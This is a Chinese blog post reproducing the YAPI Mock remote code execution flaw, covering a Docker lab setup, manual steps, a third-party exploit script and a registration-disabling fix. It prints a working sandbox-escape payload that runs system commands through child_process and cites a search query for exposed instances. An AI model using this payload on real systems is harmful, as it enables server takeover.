目录
前言
漏洞原理
影响版本
环境搭建
漏洞利用
手工复现
脚本复现
漏洞修复
参考链接
前言
YAPI接口管理平台是国内某旅行网站的大前端技术中心开源项目,使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业使用。
漏洞原理
YAPI项目使用mock数据/脚本作为中间交互层,为前端后台开发与测试人员提供更优雅的接口管理服务。其中mock数据通过设定固定数据返回固定内容,对于需要根据用户请求定制化响应内容的情况mock脚本通过写JS脚本的方式处理用户请求参数返回定制化内容,本次漏洞就是发生在mock脚本服务上。由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,因此可以在脚本中植入命令,等用户访问接口发起请求时触发命令执行。
影响版本
Yapi
环境搭建
第一步:拉取镜像,包含yapi和mongo
docker pull mongo
docker pull registry.cn-hangzhou.aliyuncs.com/anoy/yapi
第二步:创建mongo容器并初始化
docker run --name mongo -p 27017:27017 -v /data/mongo:/data/db -d mongo
docker run -it --rm --link mongo:mongo --entrypoint npm --workdir /api/vendors registry.cn-hangzhou.aliyuncs.com/anoy/yapi run install-server
第三步:创建yapi容器并初始化
docker run -d --name yapi --link mongo:mongo --workdir /api/vendors -p 3000:3000 registry.cn-hangzhou.aliyuncs.com/anoy/yapi server/app.js
第四步:访问漏洞环境
http://ip:3000
漏洞利用
作者查看了多个公众号的文章,发现大家都是采用fofa(Yapi的搜索方式:app="yapi”)搜索的公网的yapi进行复现的,但是我胆子比较小,有没有那么跳板机,害怕被抓到,所以只好自己本地搭建环境进行复现,也建议大家在本地进行复现,比较公网的未授权测试有一定风险!
手工复现
第一步:先注册一个账户
第二步:添加一个项目
第三步:添加接口
第四步:将payload添加到高级mock并保存
Payload如下:
const sandbox = this const ObjectConstructor = this.constructor const FunctionConstructor = ObjectConstructor.constructor const myfun = FunctionConstructor('return process') const process = myfun() mockJson =process.mainModule.require("child_process").execSync("whoami").toString() |
第五步:访问预览,查看mock地址
第七步:访问mock地址执行命令
脚本复现
漏洞利用脚本来源于微信公众号:阿乐你好
脚本使用python3进行编写,使用需要安装python3环境,目前该脚本使用时发现存在一点小问题,也不知道是我没弄明白,使用的命令不能带有空格 如netstat –anltp
使用方式:python3 yapi-mock.py -u http://172.17.47.195:3000 -e ls
脚本获取:
1、向我的公众号发送:yapi
2、关注阿乐你好发送:YAPI
漏洞修复
1、临时修复
a)取消注册功能
在 config.json 添加 closeRegister:true 配置项,禁止用户注册 yapi 平台,修改完成后,重启 yapi 服务器。
{ "port": "*****", "closeRegister":true}
参考链接
Mock数据参考:
https://zhuanlan.zhihu.com/p/77199413
Docker部署yapi参考:
https://www.pianshen.com/article/89381683039/
漏洞复现参考:
https://github.com/YMFE/yapi/issues/2099
漏洞修复参考:
https://hellosean1025.github.io/yapi/devops/index.html#%E7%A6%81%E6%AD%A2%E6%B3%A8%E5%86%8C
漏洞原理参考:
https://baijiahao.baidu.com/s?id=1704695582584267257&wfr=spider&for=pc
漏洞脚本来源:
https://mp.weixin.qq.com/s/R7s-HNhmxSvPW0zsDyUyyw
本文始发于微信公众号(小白学IT):YAPI Mock远程代码执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论